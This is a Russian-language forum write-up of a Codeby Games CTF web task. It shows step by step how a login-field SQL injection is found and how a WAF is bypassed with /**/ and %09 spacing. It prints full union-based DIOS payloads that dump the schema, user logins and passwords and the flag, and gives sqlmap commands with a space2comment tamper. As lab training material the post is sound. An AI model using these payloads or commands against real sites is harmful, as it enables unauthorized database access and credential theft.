Codeby Games WriteUp по таску Базовая Авторизация 2

vov4ick

Green Team
11.12.2022
54
124
BIT
1 007
Приветствую форумчан и любителей поиграть в CTF на codeby.games
Сегодня я разберу таск Базовая Авторизация 2. Решил я его разобрать по полочкам, и показать как это можно сделать. По данному таску, я не увидел решений.
У D3L1F3R на ютуб канале Я увидел как он получает флаг в этом задании, но разбора и какого то большого смысла я не увидел в этом(не в обиду сказано).
По этому беремся и решаем =)
Screenshot_42.png



Заходим на сайт , тестовые креды приложены в описании таска , это test test пробуем:

Screenshot_43.png


Конечно мы любим SqlInjection и проверяем это.
Сначала нам нужно проверить какое поле уязвимо, а это поле login скажу сразу. Как я понял? да на аккаунт можно попасть и без пароля. Вводишь логин и ты уже User ID 1 =) Скорее всего отсутствует проверка пароля.

Дальше мы пробуем самый обычный Union Based Injection:
Добавим ложное условие

test'AND false UNION SELECT 1,2-- -

Видим что стоит фильтрация и нам нужно найти в чем загвостка.
Screenshot_44.png


Можно конечно перебирать UNION И SELECT , но мы пробуем сразу подставить /**/ вместо пробелов, что мы видим:
Пропала плашка с WAF, но проблемка еще есть.
Screenshot_46.png


В качестве обхода пробельных символов могут срабатывать разные варианты.
В конце запроса у нас --+- вот этот + нам нужно как то заменить. И на помощь нам приходит %09 комбинация.
Screenshot_47.png


Хм опять ничего... Пробуем добавить количество колонок:

Ура инфа появилась =) Мы подобрали ключик, теперь попробуем какая колонка выводит информацию.
Screenshot_45.png


Пробуем первую:
Успешно =)
Screenshot_48.png


Если мы видим что работает Union , пробуем Dios технику , сейчас будет магия как вывести много чего интересного одним запросом:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(information_schema.columns)/**/where/**/table_schema!='information_schema'and(@a)/**/in/**/
(@a:=concat(@a,table_schema,'-->',table_name,'-->',column_name,'<br>'))))a),2,3--%09-
Screenshot_39.png

Здесь у нас идет название базы , таблицы и колонки которые имеются . Мы понимаем что скорее всего нам нужна таблица flags и колонка flag так и есть,
но мы пройдемся по всему.
Пробуем извлечь данные из колонок:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.users)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'<font/**/color=red>',login,'</font>','-->','<font/**/color=blue>',password,'</font>','<br>'))))a),2,3--%09-

Если обратить внимание на запрос, то мы понимаем, что извлекаем колонки login и password из таблицы users , вот в принципе и наши тестовые креды:

Screenshot_41.png


Попробуем вывести наш флаг:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.flags)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'<font/**/color=red>',flag,'</font>','<br>'))))a),2,3--%09-

Мы успешно извлекли наш флаг (^-^) и довольные идем сдавать его.
_231201130408.png


Думали это все? нет.

Сейчас я покажу как это можно раскрутить с помощью всеми любимым SQLMAP.

Сначала я начал решать его с помощью этого инструмента, но была ошибка. После я полез и разобрался с ним в ручную засучив рукава. Я понял что фильтруемся и какой тампер нужен. Пробуем:
В данной нагрузке есть такие ограничения по количеству запросов, так же указан space2comment , как раз таки он заменяет пробелы на /**/ .

sqlmap -u ' ' --tamper='space2comment' --current-db --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch

С начала мы извлекаем название базы данных
Screenshot_34.png



Screenshot_35.png

Далее мы извлекаем таблицы:

sqlmap -u ' ' --tamper='space2comment' -D data --tables --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch


Screenshot_52.png

Успешно, далее извлекаем колонки:

sqlmap -u ' ' --tamper='space2comment' -D data -T flags --columns --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch
Screenshot_51.png


Финальное извлечение всего остального:

sqlmap -u ' ' --tamper='space2comment' --dump --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch


_231201143102.png


В принципе, все. Мы проделали большую работу и мы молодцы, задание оказалось интересным и были моменты где нужно было подумать.
Надеюсь это будет полезно, не в этом задании так в другом. Я старался рассказать прям совсем подробно, чтобы было понимание. SqlMap сила в правильных руках,
но сам по себе он работать не будет. Всем удачи и спасибо за внимание.
 

Вложения

  • Screenshot_34.png
    Screenshot_34.png
    121,7 КБ · Просмотры: 106
  • Screenshot_49.png
    Screenshot_49.png
    51,4 КБ · Просмотры: 72
  • Screenshot_50.png
    Screenshot_50.png
    48,7 КБ · Просмотры: 68
  • _231201142731.png
    _231201142731.png
    56,8 КБ · Просмотры: 75
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!